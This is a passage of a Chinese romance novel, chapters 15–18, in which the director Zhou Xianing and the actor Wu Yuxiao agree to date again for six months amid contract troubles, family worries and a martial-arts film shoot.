打板声响起,片场响起了热烈的掌声。在挣扎中落泪,在落泪时让人心碎,在诱人心碎时,确定她就是他要找的嫌疑犯。这个表演方式确实比亲吻更加有感情张力。
林羽寒不知发生了什么,呆愣地站在原地。周夏宁看着片场中央的两人,不自觉地握起拳头。
原来他不只对她装醉装可怜装破碎,这都是他的惯用伎俩。三年前,他可不这样。
她胸口突然闷得厉害,明明他没有吻林羽寒,为什么她像吃了五个生柠檬那样浑身都泛着酸气儿?
从面馆出来,武玉箫没有看到周夏宁的身影。他顺着小巷一直向前走,孤灯下,他看到她正在踢树枝。她心情不好的时候,喜欢干这种幼儿园小朋友做的事情。
“怎么?对我的表演不满意?”
武玉箫走到她的身前,将她踢来的树枝踩在脚下。
“没看到吻戏当然不满意。”
周夏宁转身,懒得理他。他演技很精湛,她几乎分不清哪是他的真心,哪是他的表演。
“你确定想看我的吻戏?”
武玉箫酒劲上头,刚才道具组给错他道具了,他这是真的有了七分醉意。
“不然我坐在那儿等什么?”周夏宁气闷道。
看他对着别的女人装可怜还不如看他的吻戏。这样她就不会察觉一些让她更加心烦的事情。
“那如你所愿。”
他从身后抱住她,她转头的瞬间,他低头撅住她的双唇,强势地撬开她的唇舌,没有给她任何拒绝的机会。这种侵略感,才是他褪去所有伪装之后的本能。
她扬起手,他刻意将脸凑到了她的手边。这耍无赖的模样,她以往没有见过。她怔愣的时候,他突然将她抱住,“我说过,我只和你Kiss,只在你面前醉酒。”
话音刚落,他真的醉倒在她的怀中。
15. 莲蓉月饼
早上十点,徐记汤包店。
热乎乎的灌汤包在桌上散发着诱人的香气,周夏宁盯着那又圆又大的汤包看了又看,想要动筷子,可是一对上对面那人比黑碳还黑的脸,她就乖乖地坐在了原地。
昨晚,她和武玉箫亲吻的时候,被拍了。
被拍三小时后,艾彬同她通了电话,问她是否要在系统里把武玉箫锁定为她的陪侍。她如果超时没有在系统里锁定,武玉箫将被判定为纠缠夜荷优先股股东,公司会对他进行三到六个月的停工处罚。
这其中的项目违约金,很可能让他倾家荡产。可若是锁定,他就会被划归到D约部,因为转约,余芷同亿星的对赌会被自动判定为未达标。她要赔偿的金额也会是一笔让人咋舌的数字。
当然,这其中还有第三种解决办法。
“不会耽误你很久,就半年把我的账号激活就行。”
周夏宁小心翼翼地看周姚眼色。她如果要用“冰夏”的账号开夜荷S级作家的评级通道,必须要拿到五个A级外卡推荐,这五个A级外卡,必须包括在亿星A级名单上的导演、服装师、灯光师、道具师和造型师。
“帮你把账号激活了,然后呢?你要留在夜荷工作吗?无论你是否能拿到评级,三年的定制约你跑不掉。你想好怎么同你爸妈解释了吗?”
周姚轻啜一口茶,陪她打半年循环,不是什么大事儿,但是家里那边她能交代吗?
她和武玉箫分手后的第四个月,生了很重的病,都到了进手术室抢救的程度。她父亲查看了她的邮箱,发现武玉箫给她发了近一个月充满咒骂文字的邮件。
她坚持说他们是和平分手,她父亲执意要去找武玉箫要个说法。那个时候,LA的疗愈工作室给她抛了橄榄枝,她以去LA工作为由,强行让他父亲将这事儿翻篇。
回国之前,她父亲联系了他,让他务必把她看紧了,不要让武玉箫又缠上她。这也算一朝被蛇咬十年怕井绳了。
周夏宁不想聊这个绕不过去的大山。她连工作延期都没想好怎么同她的老父亲解释,这个越发不知道要怎么解释。
更何况,她打循环是为了不让武玉箫被转去D约部。动机本身就不纯,解释起来不是越描越黑?
“要不你给我出出主意?”
周夏宁用求救的眼神盯着他。他当年为了当导演和家里闹得很僵,最后还是逼得他父母同意了。
“一哭二闹三上吊。绝对管用。”
这是经验之谈,就看她是不是铁了心要同武玉箫复合。若是三年前她铁了心要同武玉箫赌那虚无缥缈的五年,她父亲说的话再有道理,他们当时也不会分手。
她自己退却了,她父母只是当了她退缩时的一个挡箭牌。
“这个忙我可以帮,只是你得想清楚,他和你父母之间的立场再次出现不可调和的分歧的时候,你要怎么选?不是每次逃跑,你都能华丽回归。”
周姚将灌汤包夹到了她的碗里,三年前,她和武玉箫之间存在的问题,并没有因为两个人事业上的突破而有分毫改变。
只是她当年执着地认为,他们之间的问题是她的事业瓶颈导致的。
“打循环赛这件事儿,我希望你在走流程之前同你父母说清楚。然后找个时间把他们从LA接回来。他们年纪也大了,如果不是为了你,三年前也不会狂补英文,陪你去LA工作。你家院子里的海棠花开了又谢,一直在等摘花的人回来。”
因为不放心她一个人在异国打拼,两个年近六十的人背井离乡,去一个陌生的国度,一开始连去超市都能迷路。这种爱,不应该被敷衍,不应该被漠视。
“我会同他们说清楚的。组里的人员就麻烦你费心了。还有嫂子那儿,需要我去解释吗?”
周姚转去培训部之后,在家里的时间才渐渐多起来。这样的日子才维持了三年多一点儿,她这么做,无异于在给周姚挑起家庭矛盾。
“这是我同她的事情。我敢答应你,我就能承受她听到消息后,各种抓狂的反应。你呢,就好好操心你自己。恋爱都谈不清楚,还想操心已婚人士的事情。”
周姚朝着门外挥了挥手,示意对方去车里等她。
“明天是中秋节。不管你回不回去,都和家里联系联系。”
周姚离开后,周夏宁突然什么都吃不下了。从青城到LA不过15个小时的飞机,轻荷在公司,她再请两天假,手上的项目也不会出问题。
工作做不完,陪伴父母的时间却是有限的。
子欲养而亲不待。
想回头的时候,上天也许真的不给机会了。
武玉箫是这样,她的父母也是这样。
下午三点,沧澜国际机场。
一辆出租车奋力在大厅门口急停,车尚未挺稳,一道焦急的身影从车上一跃而出,如风般消失在后视镜里。
机场里四处挤满了人,公告牌上显示:下午三点十分飞往LA的航班已停止检票。
他还是来晚了。
“来得真快。”
茉莉花的香气从身后飘来,他循声转头恰巧对上她恬静的笑容。她手里抱着两杯冒着热气儿的茉莉花茶。
“你怎么会在这儿?”
武玉箫再次确认了两人的聊天记录,那个航班号在告示板上显示的是一分钟后起飞。
“你说你要过来,我就改签了。”
这个回答在意料之外,他还以为她对他只有过时不候。
“改签到几点了?我能陪你吃晚饭吗?或者我陪你喝个下午茶。”
武玉箫脑子飞速运转,他要想办法多和她待一会儿,和她多说些话,套出她在LA的住址信息和联系方式。她回不了陵城,他就去LA找她。
他眼中的不安,让她很心疼。在疗愈工作室她见过太多有这种眼神的孩子,这是长期严重缺乏安全感的表现。
“改签到一个小时后。既然来了,吃了月饼再走。”
她把自己的鸭舌帽盖在了他的脑袋上,他来得太急,忘了带乔装必备的工具。她拖着他去了隔壁的咖啡店,找了个角落处坐下。
按照以往的规矩,这个月饼,她三分之二,他三分之一。
“你真的还会回来吗?”
武玉箫盯着月饼发呆,月饼应该是团圆的时候吃,在分别的时候请他吃月饼,这难道不是告诉他,他们以后都不会团圆了吗?
“你进《桃源绮梦》组的时候,就能见到我。”
那是一个月以后的事情了。
“这一个月里,我能去LA看你吗?”
在等到她的回答之前,他便气馁地叹了一声。她还会回来,还会和他联系,这就够了,再贪求别的,也许她又不理他了。
“我应该一周内就会回陵城。来见我的时候,事先和我确认一下时间,免得你扑空。”
武玉箫兴奋地抬头,问道:“你没有骗我?”
“你等一周,不就知道我有没有骗你了。”
周夏宁没有给出他想要的回答,他的不安感,不是她口头说两句就能抹消的。他只有看到了切实的行为结果,他们之间脆弱的信任感,才能逐渐被修复。
武玉箫安静地吃起了月饼,这月饼是莲蓉的,他记得她以前不爱吃这种。她喜欢吃枣泥馅的。
“你不喜欢枣泥馅的月饼了?”武玉箫试探道。
三年的空白期,很
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多事情都变了。他不能靠着回忆去和现在的她相处。
“你助理说我送你的甜点,莲蓉味的你吃得比较多。我就买了这款。”
“真狡猾。都买通我身边的人了。”
武玉箫心中越发的不安。她有途径了解他,他却不知道该如何接近她。
“那是你给机会。梁思潮现在对我是有问必答,事无巨细。我根据他提供的资料整理了一份我自己的,我已经发你邮箱了。”
邮箱里确实有一封未读邮件,发件地址是一个陌生号码。
“你的新邮箱?”
她邮箱前面的号码是她的手机号,她这是把她新手机号也给他了。
“有什么想问的写清单,我有时间就会回复。月饼吃完了,你该回剧组了。”
她和梁思潮确认过,他得在五点之前回去。
武玉箫抱着那杯热茶,小声嘀咕道:“茶没喝完,不走。”
她这举动很反常,事出反常必有妖。
“就算你不走,我也该过安检进候机厅了。”
武玉箫失落地低头,他们其实还能再多待一会儿的。他不情不愿地起了身,跟着她去了地下停车场。他的助理正等在那儿准备接他去剧组。
“落地了,报个平安。不然我会担心的。”
在她的注视下,他一步三回头地向车边走。他那小心翼翼的模样,像极了第一天去幼儿园上学不舍得和家长分离的小朋友。他眼里泛着泪光,似乎下一秒他就要哭出来了。
“朝朝。”
武玉箫停住了脚步,突然他的背后多了一抹温热,她的手环住了他的腰。他心头一热,泪水顺着眼角滑落,落在她的手背上。
她对他不是没有留念,他也许还能再试一次。
“让我再追你一次好吗?转D约的事情,我会妥善处理,不会让余姐遭受损失的。在系统里锁定我好不好?”
他的语气卑微到了尘埃里,周夏宁眼眶微红,在她面前他不用这样卑微的。
“朝朝,转D约的事儿,你想都不要想。我不需要一个出卖色相的陪侍。”
武玉箫眼里一片死寂。她如此明确地拒绝他,一点儿念想都不给他留,当真是狠心的女人。
“我会在陵城待半年,这半年里,我们再交往一次吧。不是以股东和陪侍的身份,只是夏夏和朝朝。”
武玉箫不敢相信自己的耳朵,他转身惊喜地看着她,问道:“你愿意再给我一次机会?”
周夏宁的手抚上他的脸颊,“朝朝,这半年里,好好地看看现在的周夏宁。不要活在你的回忆里,不要把你对我的执念当成爱,不要在我面前如此卑微。你很好,你值得这世界上最好的。”
能对他说出这番话的她,就是这世界上最好的。
她从来不会惯着他,不会否定他,不会利用他的真心伤害他,他要的爱,只是这样。这样的爱,只有她能给他。
执念也好,卑微也罢,他想要的只有她。
她看不惯他糟践自己,他们就重新认识一次。在新的交往中,再给她织一张情网。
武玉箫抹去眼角的泪痕,握住她的手,在她的手背上印下一吻,无限眷恋地说道:“我等你回来,我会很想你。”
周夏宁主动拥抱了他,理智被翻涌的感情彻底淹没。
“好好工作,好好吃饭,长点儿肉儿,少受伤。”
她闭上眼,放任自己在他的执念中沉沦,等待爱情的烈火将她烧为灰烬。
只有得不到的女人才能让男人一直爱下去。
再交往一次,他也许就会发现,他爱的一直是他幻想出来的泡沫。等到泡沫破灭了,他们就彻底结束了。
16. 蔓越曲奇
洛杉矶,圣普若斯医院1705。
午后的阳光透过纱窗落在沾满了消毒水味的白色床单上,在空荡荡的房间里投下一道单薄的长影。角落里的金钱桔枝繁叶茂,给这被病魔笼罩下的房间添了一丝生气。
听到陌生的脚步声,躺在床上的人儿吃力地坐起身,抗癌治疗消耗了她太多元气,养了大半年,全身还是一点儿力气都没有。虽说勉强和死神擦肩而过,这副残躯也不知道还能再坚持多久,在进手术室之前,能把莫昌南等到就好了。
他最近手上没什么让他感兴趣的艺人,把武玉箫转他手上,正巧免得他无聊。武玉箫的合约在转到D约部的时候,莫昌南有反选权。他可以选择去A约部带他。她和莫昌南职位交替,对赌协议还可以继续。
D约部那个沼泽,十年前她没让他进,现在她更不可能让他进去。
“余姐,感觉还好吗?”
角落里的金钱桔应声点头,似乎在和这个阔别已久的前主人寒暄问候。
这是一道未曾期待的声音,热烈的笑容在苍白的脸庞上扩散,藏在光影里的死亡恐惧在这道轻快的问候声中无端消散。
“冰夏,你怎么来了。”
阳光洒在她的身上,映出她眼中的平静淡然。曾经被生活强加在身上的绝望和挣扎在她祥和的面庞上找不到一丝踪影。
“中秋节,来送月饼。”
栀子花的香味随着她的靠近在屋中四散,一盒“苏记”手工月饼被她放到了床头柜上。
在青城小巷里瞎逛的时候,恰巧发现了这家被余芷惦念了多年的手工面点小店,店里的师傅已经快拿不起擀面杖了,下次再去,恐怕小店已经关门了。
“人来了就行,怎么还带东西了。”
月饼上熟悉的红色印字,瞬间吸引了余芷的视线,盒子上面的波浪云纹依旧是她记忆中的模样。
“胡叔的店前前后后搬了十几次,你居然还能找到。”
往昔回忆在脑海中翻涌,她的手指在不规律的云纹上反复摩挲。那个糕点师傅,漂泊一生,唯爱他做的面点。他可以在街边小摊自得其乐,也能在五星级的酒店里指点江山。他对面点的爱,是指引她前行的光。
这可真是一个特别的礼物。
“回国一趟,感觉怎样?”
余芷按了铃,护工应声进来,将她扶到了轮椅上。窗台边阳光正好,她示意护工泡壶茉莉花茶来。周夏宁在陵城的时候喜欢大枣茶,来LA之后口味就变了。
“感觉很好。轻荷谈恋爱了,陆老板开始当杂货店老板了,酒年还是八卦社社长,禾歌养了个小奶狗……每天在公司鸡飞狗跳,但是很有趣。”
提起在十五楼的朋友们,她眼里的光很闪很亮很迷人。这点儿和武玉箫很不一样。她比他更知道如何建立生活的支点。
“这次回来是专门陪你父母过中秋节的?”
余芷将目光投向窗外,周夏宁三年前病重的事情,她没有告诉武玉箫。她母亲通过周姚联系了她,希望她到了LA之后,武玉箫不要再纠缠她。她父母怕她因为情伤做出伤害自己的事情,便放弃了在老家的交际圈一同来LA生活。她这次回国,她母亲再次联系了她。她依旧不希望两个人再有交集。
她刻意调整了武玉箫的行程,让他和她在机场错过。可是命运再次让他们纠缠在了一起。
“我要留在陵城打循环,无论循环是否打通,我都会和亿星签订三年的定制约。这件事儿我怕在电话里说不清楚,就回来了。”
这是她回LA的原因,更是她出现在这里的原因。三年前因为两人分手被闹得心力交瘁的除了她的父母,还有他这个亦师亦友亦母亦父的经纪人。
“在这半年里,我想和他再交往一次。让他看清楚现在的我,也让我了解清楚现在的他。在双方都彼此了解之后,再决定要不要继续走下去。”
她眼神坚定,眼里看不到丝毫的犹豫。
这一场景和三年前一样,只是,她当时坚定地要分手。
“我知道了。”
余芷平静地笑了笑。她很清楚自己要什么,这段感情即便走不下去,她也不会闹得两败俱伤。武玉箫能被这样的女人看上,算是祖坟冒青烟了。
“余女士,该去做术前检查了。”
护工礼貌地在门外提醒,余芷遗憾地叹了一声,会面总是短暂的,下次见面也不知是何时。
“这次我就不送你了。等我回陵城,我请你去‘云渺’那儿吃米糕。”
余芷摆摆手,被护工推出了房间。离开的时候,她的眼里有了对生的渴望。缠绵病榻这么久,至少要活着看到他们两个人故事的结局。他有了归宿,她才能安心离去。
圣安东尼路,万言疗愈工作室。
橘色夕光照在布满岁月痕迹的木桌上,项目交接文件在木桌的两旁堆成了两座高山。在LA的三年,周夏宁经手的疗愈委托已经过百,这里的每一个档案里,都藏着她破碎的灵魂碎片。
在一千多个日夜里,她揣着自己破碎的心,去粘合别人的灵魂碎片。当这档案积累到了她预期之外的高度,她那伤痕累累的心,居然被缝合到了一处。在资料移交书上,签上自己的名字,她在工作室的工作证和账号卡,便要被封存进资料袋里。
这个账号卡陪伴了她三年,见证了她的破碎,她的撕裂,她的抑郁和疯癫。在道别的路口,她竟然有些舍不得那些被焦虑、彷徨、恐惧、不安缠上的不眠夜。
“姜家的委托还没有结束,等到姜曲颜从循环里出来,还得麻烦你回来办个交接。交接全部完成了,你的账号才会完全封存。”
姜澜的声音在门口响起,时间不早了,他该回家陪他的太太了。周夏宁拎起包,与他一同离开。
背着画板的女子照例在街转角的十字路口处等他。见到她,他不由得加快脚步。他走到她身后,轻轻拍拍她的肩,她转头的时候,他故意躲到另外一边,让她扑了个空。在她失落之前,他热烈地将她拥入怀中。
她情不自禁地染上红晕,他看着她的笑颜,眼底尽是温柔。嘈杂的街头,在这一刻成了两人的背景板,绵长温暖的爱意在两人之间静静流淌。
街对面的广告牌上突然出现了武玉箫的身影,看着他明媚的笑容,心中的失落不由得自动消散。无论什么时候,他的笑容都是她的消愁神药。
这个可解万愁的明媚笑容,值得她再冒险一次。
弗罗多斯社区0910栋。
微凉的夜风卷着诱人的菜香扑面而来,催人入睡的戏曲声在空气中流淌。温暖的灯光下,一个头发灰白的妇人拿着钩针娴熟的勾着漂亮的花瓣。茶几上的花瓶里,挤满了毛线勾出来的花束,每一朵都在无声展示着这位女士的娴熟技艺。
推开门,沙发上坐着一边听戏一边打瞌睡的老父亲,地毯上蜷着在台灯下奋力勾花的老母亲,周夏宁突然就忘记自己回来的目的了。<
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温暖的爱意如屋里的射灯一般,照亮了这里的各个角落。屋外的风再大再冷,在这里,心都是暖的。
“回来了,赶紧去换身衣服。炉子上的汤快好了。衣服换好了,去厨房把火关了。”
正在勾花的老妇人放下钩针,将身旁的男人轻轻唤醒。男人在看到她的瞬间,眼底浮现出迷恋的笑意。老妇人在与他对视时,不自觉唇角上扬,笑得与她勾出的花一样灿烂。
热烈的爱意在两人中间静静流动,周夏宁识趣儿地回了自己屋。看着这一对黏糊的夕阳伴侣,她不得不相信,父母是真爱,她就是个意外。
再出现在客厅,餐桌上已经摆了满满一桌菜。周夏宁安静地去厨房关火,拿碗筷,然后安静地吃饭。
在这个家,她只需要当一个安静的聆听者,老母亲有自己的八卦趣闻要聊,老父亲有自己的种菜心得要分享。她不需要动脑,只需要安静地待着,享受这个空间里的浓浓爱意。
武玉箫很好,可是他和这个家的分量比,差了好几个级别。
周夏宁不知该如何开口,便静静地坐着。中秋节是团圆的节日,不应该在这个时间点聊让大家都不开心的话题。
洛杉矶,霍普修斯国际机场。
周夏宁拖着两个大箱子,望着她父亲手里的小白包,和她母亲手里的大袋子,止不住地叹气儿。她回来的时候就只背了一个运动包,现在却平白多了这么些行李。
这箱子里,装的多是一些干货。就算她不怎么去超市买菜,这些也足够她吃两三个月的了。
她到底还是没有勇气告诉他们她准备和武玉箫再试一次。周姚已经和他家那口子说了打循环赛的事情,他太太反应很平淡,但是他妈像炸毛的猫一样在家族群里旁敲侧击地打听他是不是在外面有情况了。
有他在前面打头阵,她父母也没有太反对她回去打循环。工作上的事,她喜欢做就多做点儿,不喜欢做,当个咸鱼也可以。只要不游手好闲,家里也不缺她这口吃的。
“夏夏,说好了,半年,打完循环就回来。”
周夏宁在她老父亲那关切的眼神下,心虚地低下头。她本意是让他们一同回陵城的,但这位说什么都不回去,非要在LA等她回来。
许是想着,她在LA有牵挂,就不会在陵城和武玉箫再有牵扯。
“好了,我该过安检了。你们回去的时候小心点儿。”
周夏宁目送着两人离开。突然一个小男孩儿从她的身旁跑过,装着零食的袋子被他带倒在地,一个饼干盒从袋子里飞到了地上。
她捡起盒子仔细瞧了瞧,这盒子被透明胶里三层外三层封得死死的,饼干没有散落在外。她不由得长舒一口气儿,这蔓越曲奇是她母亲一早烤的,她知道她又开始吃甜食了,专门去学的。
盒子的底部黏着一个蓝色信封,周夏宁以为这同以往一样,上面写着让她好好照顾自己的老生常谈的话语,
打开信封的一瞬,她愣住了。
信上写道:
在朋友圈看到你吃蔓越曲奇的时候,我就料到你会和他再次纠缠。无论你这次回去是不是为了他,都勇敢点儿,爱己所爱。这三年你已经用结果证明,你能够为爱买单。
我的夏夏,值得最好的,也该为自己争取最好的。
你吃蔓越曲奇的时候,笑得很开心。希望这样的笑容一直伴着你。
祝你好运。
永远爱你的母亲
17. 龙井茶糕
泽城,云坛溪。
镜头里,急流从高处垂直而下与滑石激情相撞,水花四溅,吟唱悲歌。傅天兴仗剑半跪在浅滩处,视死如归地看着眼前的敌人。在对方拔剑攻来的瞬间,他奋力冲了过去,他软绵的剑招在对方强硬的攻势下不堪一击。
“砰。”
利剑落入溪中,淡红的血水与残阳交相辉映。死亡的恐惧在眼中一闪而过,他握紧拳头倔强地再次向敌人攻去,他是一城守将,城在人在。即便是死,那也是为了守城而死,而不是死在自己人手上。只要他还有一口气儿,就要想办法突围出去,回到属于他的战场,在那儿等待死亡降临。
突然,他被人一脚踹到地上。他吃痛地皱眉,细碎的滑石在他的手上留下数道划痕,冰凉的溪水从他的背后淌过,刚止血的伤口再次撕裂。
监视器前,顾润明烦躁地皱眉,傅天兴的表情很痛苦,这不像是演的,但是身边这个女人没有喊“cut”的意思。
傅天兴愤怒地咬紧双唇,逼着自己从地上爬起来,对面那人是故意的,仗着自己练过几天武就借着打戏来欺负他。是可忍孰不可忍?
他抡着拳头冲过去,对方不屑地轻笑一声,似乎在嘲笑他的自不量力。泛着银光的长剑直逼他的胸口,剑是道具用品,不会真的把人划伤,可是使剑的人是练家子,剑风刮在脸上,依旧有令人恐惧的痛感。
顽强的意志渐渐被生理上的恐惧所击溃,他双腿发软,在长剑触到他的胸口之前,被脚下的滑石绊倒。突然他的胳膊被人拽住,他回头之时恰巧对上牧俊扬鄙夷使坏的目光。
在他的巧劲之下,他顺着他坚实的臂膀,在空中翻腾了180度,漂亮的弧线在空中消失之际,他重重地摔在了地上,猩红的血从厚重的戏服处透出。
“不能再继续了。”
顾润明急得从椅子上跳起来,牧俊扬有国家二级武士证,一般的武替都不是他的对手,更何况傅天兴是妥妥的武术门外汉。
这个女人不仅要求一镜到底,还要求两人在拍戏过程中真打,这怕不是疯了。
傅天兴可是带资进组的傅氏娱乐小少爷,把他打伤了,傅氏娱乐那边该怎么交代?
周夏宁平静地看着监视器里的画面,刻意藏起眼中的不安。
《桃源绮梦》开机以来,牧俊扬一直借着拍打戏的名义欺负傅天兴。顾润明提议让傅天兴用武替,但是他心气高,受不了被牧俊扬嘲笑说“打戏全用替身那还拍什么武侠剧”,说什么都要自己拍。
他和牧俊扬的对手戏多,这近两个月以来,弄得一身伤不说,拍摄进度也比预期的要慢一大截。两人之间结怨日久,不找个契机分出个高下,拍摄无法顺利进行。
“急什么。”
冷静淡然的声音伴着“隆隆”水声,在空中回响。一道黑色身影以风过无痕的速度从人群中弹射出去,冰凉的水珠顺着剑尖滴落在黄色泥土上,留下坚毅的气息。
凌厉的剑风扑面而来,牧俊扬条件反射地向后退了两步,来人和他一样都是练家子。这个突然冒出来的人是台本上没有的角色,他转头看向周夏宁,她给他打了一个继续的手势。
这场戏开拍之前,她说过,她不喊“cut”,谁都不能出戏。谁出戏,谁剩下的戏份全部用武替。
牧俊扬握紧剑柄,用尽全身之力向这突然冒出来的人影攻去。枯萎的落叶伴着冬日冷风从两人身前穿过,落在被溪水没过的浅滩之上。
银色剑刃在滑石间穿行,不规则的碎石随着扬起的剑尖飞入天际,直逼牧俊扬的眼睛,他被迫向后退了半步。
身形尚未站稳,空中闪现一道银色弧线,回神之时,利剑以急流下坠激荡礁石之势劈向他的肩头。剑招避开了他的要害,但却是杀招。
牧俊扬连连后退,心底自动生出了恐惧。这个人的身手与他不相上下,甚至在他之上。
黑衣人注意到他眼中的情绪变化,提着剑缓缓向他走去。对擂之时,一旦心生恐惧,死亡的钢丝绳就会扼住咽喉,随着对手的渐渐靠近,击溃恐惧者的心理防线,最终使其丧失斗志。
细密的汗珠布满额头,牧俊扬紧张地咽了咽口水,儿时学武被打的记忆在这时突破理智的枷锁,如泉水般奔涌而出。他强迫自己不要后退,可是全身的细胞都在催促他从这人身前逃离。
银色剑光平行飞来,直击他的脑门,剑风从头顶刮过时,他害怕地大叫了一声,利剑应声落地。他闭上眼,以抢救自家正在着火的房子的速度,从镜头中消失。
黑衣人收起剑,缓缓走出镜头外。
“得道者自有天助。将军所求之人在西北桃林。后会无期。”
潇洒坦荡的声音在画面中回响,傅天兴挣扎着从地上爬起,对着黑衣人消失的方向,仗剑跪拜。
“谢先生赐教。”
周夏宁心头一震,最后这一幕是两人的即兴。在武玉箫的面前,他的表演并没有落于下风。
“Cut。”
周夏宁拿起喇叭,给这场戏划了个句号。在场边待命的医生,赶紧冲过去,查看傅天兴的伤势。戏服被解开的时候,他的后背已全是血污。
“今晚的戏,你还能拍吗?”
全组工作人员不由得一齐看向周夏宁,伤成这个样子,连站起来都费力,还怎么拍打戏?
“可以。”
坚定的声音伴着倔强的眼神在风中飘荡。这个景今晚得全部拍完,这又没伤到骨头,没什么不能拍的。
“那你先去处理伤。导演,下一场。”
扩音喇叭再次回到了顾润明的手中,这娇生惯养的大少爷在她的跟前乖顺得跟个小猫似的,着实让人大跌眼镜。
“顾导,武老师还没到。”
助手焦急地跑来,武玉箫的助理说他提前去了拍摄现场,可是在现场找了一圈,他也没见到他的人影。
“赶紧联系,都就着他的档期了,还闹幺蛾子,真是脾气跟名气一样大。”
顾润明没有发现,在他说话的时候,黑衣人已经绕到了他的身后。他的小抱怨全部被本人听了进去。他在他的身后调皮地做鬼脸,周夏宁情不自禁地笑出声。
“怎么我说错了。要不是他临时罢演,我能平白多出这么些白头发?”
顾润明越说越委屈,项目被叫停的那两周,他可像热锅上的蚂蚁,坐立不安,夜不能寐。
突然,他身边的人都站到了周夏宁身旁,人人难掩笑意。他这才觉得不对劲,转身之时,正巧对上武玉箫的白眼。
“哈哈,让你皮,被抓包了吧。”
周夏宁实在忍不住,捂着肚子大笑了起来。武玉箫迷恋地看着她爽朗的笑容,她笑起来的时候真的好美。
那双含情的眸子,在黑色面巾的映衬下格外迷人。顾润明身上的怒气在他的深情中越发浓重。就因为他恋爱脑,害他受了这么多罪。
“顾导,临时换剧本的事儿真对不住。我已经跟袁栎说了,在这边把武替的戏都拍完了,再进下一个组。”
武玉箫将黑色面巾拉下,露出诚恳的笑容。
伸手不打笑脸人,更何况他带来了一个他无法拒绝的好消息。
半小时前,他经纪人再次发消息说他没档期,做武替的事情,实在有心无力。
恋爱脑也不是全然没有好处。
像他这样,随叫随到,刀枪棍棒样样都懂,还怎么拍怎么好看的武替,很难找的。
“算了,都过去了。今天这个景要拍完,去换戏服吧。”
顾润明将服装师手里的戏服塞到周夏宁手中。投桃报李,给他创造独处机会。在周夏宁拒绝之前,武玉箫拉着她朝与后勤车相反的方向走去。
银灰色SUV里,暖风呼呼地吹。
武玉箫戏服半褪,在周夏宁的眼前露出他青一块紫一块的后背。
在拍《霜落枫桥》杀
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青戏时,他从高台上摔了下去,虽说有垫子做缓冲,他还是伤了。
冰凉的药膏顺着她的指尖在伤口处晕散开来,她眼里尽是心疼。袁栎本来不同意让他这个时候进《桃源绮梦》的组,但是在人饥渴之时递过去的一个馒头,比其他时候送去的任何礼物都要令人感激。
临时换剧本本就是武玉箫没理,如今拍摄不顺利,组里的人都把怨气归结到了他头上。恰巧傅天兴和牧俊扬闹到要把对方换掉的程度,这个时候他过来救场,之前的事儿,大家都能翻篇。
事半功倍,就是委屈他了。
察觉到她低落的情绪,他将一盒糕点塞到她手上。
“来的时候在路边买的。”
拍戏吃饭没个准点儿,给她带点糕点垫垫肚子。恰巧周夏宁饿了,糕点是白色的,她以为他买的是五白糕。
她拿起一块轻轻咬了一口,绿色的馅儿赫然映入眼帘,龙井的茶香在唇齿间溢散。
“武玉箫,你是想说我让袁栎死咬着不给顾润明档期,然后现在又让你主动上门当武替,给顾润明送人情,是很绿茶的行为?”周夏宁像炸毛的猫一样囔道。
她的眼里有怒火,有委屈,还有伤心。
她冷静淡然的面具在这一刻全然破碎。这三年她都是靠这种在解决问题的同时给人卖人情的思维方式过来的。她需要业绩,需要资源,需要人脉,需要给她父亲更好的休养环境。
这就是现在的她,他居然说她很茶。
武玉箫看着眼前正在燃烧的一团火,唇角勾出了欣喜的笑容。她终于对他生气了。
“夏夏,这茶糕是糕点铺的店员推荐给我的。按照你的理解,那也是他们觉得我很茶,才会给我推荐这个。”
刚被他穿好的戏服,再次从他的肩头滑落,优美的肌肉线条突然吸引了她的视线。在视觉的冲击下,她的怒火平白散了一半。
他欺身过去,就着她的手,将被她啃了一口的茶糕尽数吞入肚中。周夏宁红着脸,看向窗外。
“衣服穿好。”周夏宁语气缓和了许多。
武玉箫拉起她的手,凑道她的耳边诱惑道:“夏夏,帮我穿好不好?”
周夏宁在他的眼里看到了猎人等待猎物上钩的兴奋感。这才是他现在本来的样子。
“影响不好。”
周夏宁轻笑着将他推开,他眼里有些微失落,刚把衣服穿好,她把一块茶糕塞到了他的嘴里。他轻咬过后,她拽过他的衣领,强势地吻上了他的唇,撬开他的唇齿将那茶糕抢了过去。
他惊讶地看着她,她的指尖顺势勾住了他的下巴。
“姐姐现在就是西湖龙井,你喜不喜欢,这半年,你都得陪我玩。我不是这么好招惹的。”
这是同六年前完全不同的张扬与霸道。武玉箫静静地看着她的眼睛,这是他没有见过的模样,很新奇,很喜欢。
“夏夏,半年可不够,我拿我的余生陪你玩。”
武玉箫在她的脸颊上蜻蜓点水地啄了一口,他出来的时间太久了,再闹下去,对她的名声不好。
“还有,我是比你小三岁。但你不是我姐姐。不要用姐姐逗弟弟的语气同我说话。我想做的是你的男人,不是你的弟弟。”
武玉箫将一件女士外套放在她手里,自己下了车。她的视线随他而动,心跳不受控制地加速。她是从惠城转机过来的,行李箱里的衣服都是薄春装。
这两天降温,夜里冷。她猜到他会在车里将他的外套给她,却没有想过他会替她买女士外套。剧组里人多眼杂,秀恩爱死得快。这是他以前从来不会注意和考虑的事情。
她变了,他也变了。
这是一个全新的篇章,过去的经验已经不足以预判故事的发展方向,要想知道故事的走向,只能在这不受理智控制的爱意里加倍沉沦。
看着他成熟的背影,她突然觉得茶糕挺好吃的。离开之前,她要去复购。
18. 牛奶松糕
三云路,勤业糕点铺。
大枣茶的香气在屋内扩散,计算器的报数声在空气中回响。周夏宁打着哈欠,在账本上写下今天店里的营业额和食材成本。
这是她来这家店打工的第七天,店主因为亲人重病拖家带口回青城探亲,归期未定。
这家店在小巷的转角处,斜对面有一所初中,一个办公楼和一个老旧小区。八点到十一点各有一个顾客进店的小高峰,在凌晨的时候,店里没有卖完的糕点都会放在店外的架子上,工地上的工人或者流浪汉,看见了就能免费带走。
小店从早6一直营业到晚12点,年节也是这个营业时间。店里的糕点很平价,那天武玉箫在这儿买到的龙井茶糕是店主做给他媳妇吃的,阴差阳错被看店的小姑娘卖给了他。
“刚出炉的牛奶松糕。”
一盘散发着奶香味的Q弹白糖马拉糕出现在桌上,周夏宁不由得咽了咽口水。大枣茶配牛奶松糕,这是多少年都没有碰过的组合了。
她拿起一块咬了一大口,糕点蓬松细腻有嚼劲,香香软软,甜到心坎里。好吃不贵,批量产好卖。
“你这手艺真不考虑开家店?”
年轻小伙不好意思地挠挠头,周夏宁是一个很会提供情绪价值的食客,无论他做多么简单的糕点,她都会以欣赏崇拜的目光看着他,还吃得一脸开心。
厨子最喜欢这样的客人。
